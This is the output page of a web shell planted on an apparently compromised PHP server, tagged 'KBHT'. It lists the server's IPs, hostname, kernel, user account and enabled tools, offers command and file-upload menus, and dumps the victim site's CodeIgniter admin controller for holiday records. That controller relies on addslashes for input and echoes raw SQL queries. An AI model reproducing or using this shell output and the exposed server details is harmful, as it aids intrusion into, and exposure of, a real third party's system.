GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.142.54.136
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/../cas/application/controllers/admin/Holiday.php
<?php

/**
 * Description of Holiday
 *
 * Softpro India Pvt. Ltd.
 */
class Holiday extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/HolidayManagement');
        $this->load->model('admin/SessionManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["holiday"] = $this->HolidayManagement->getAllHolidays()->result();
            $this->load->view('admin/holidays', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createHoliday() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result();
            $this->load->view('admin/createHoliday', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveHoliday() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('hc_name', 'Holiday Name', 'trim|required', array('required' => 'Holiday Name Can Not Be Blank.'));
            $this->form_validation->set_rules('hc_from', 'Holiday From Date', 'trim|required', array('required' => 'Please Choose Holiday From Date.'));
            $this->form_validation->set_rules('hc_to', 'Holiday To Date', 'trim|required', array('required' => 'Please Choose Holiday To Date.'));
            $session_id = addslashes(trim($this->input->post("session")));
            $hc_name = addslashes(trim($this->input->post("hc_name")));
            $hc_from = addslashes(trim($this->input->post("hc_from")));
            $hc_to = addslashes(trim($this->input->post("hc_to")));
            if ($hc_from == $hc_to) {
                $datediff = 0;
            } else {
                $datediff = round((strtotime(".$hc_to.") - strtotime(".$hc_from.")) / (60 * 60 * 24));
            }
            $doExists = 0;
            $hc_array = array();
            for ($i = 0; $i <= $datediff; $i++) {
                if (sizeof($this->HolidayManagement->getHolidayByNameAndDate($hc_name, date('Y-m-d', strtotime($hc_from . "+ $i days")))->result())) {
                    echo $this->db->last_query();
                    $doExists++;
                    break;
                }
                array_push($hc_array, array(
                    'session_id' => $session_id,
                    'hc_name' => $hc_name,
                    'hc_date' => date('Y-m-d', strtotime($hc_from . "+ $i days")),
                    "hc_added_on" => date("Y-m-d H:i:s"),
                    "hc_updated_on" => date("Y-m-d H:i:s"),
                    "hc_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "hc_updated_by" => $this->session->userdata("adminData")["smember_id"]
                ));
            }
            if ($this->form_validation->run() == FALSE) {
                $this->createHoliday();
            } else if ($doExists) {
                $this->session->set_flashdata("errorMessage", "This Holiday Already Exist.");
                redirect("admin/Holiday");
            } else {
                if ($this->HolidayManagement->createNewHoliday($hc_array)) {
                    $this->session->set_flashdata("successMessage", "Holiday Created Successfully.");
                    redirect("admin/Holiday");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Holiday.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteHoliday($hc_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->HolidayManagement->deleteHolidays($hc_id);
            $this->session->set_flashdata("successMessage", "Holiday Deleted Successfully.");
            redirect("admin/Holiday");
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023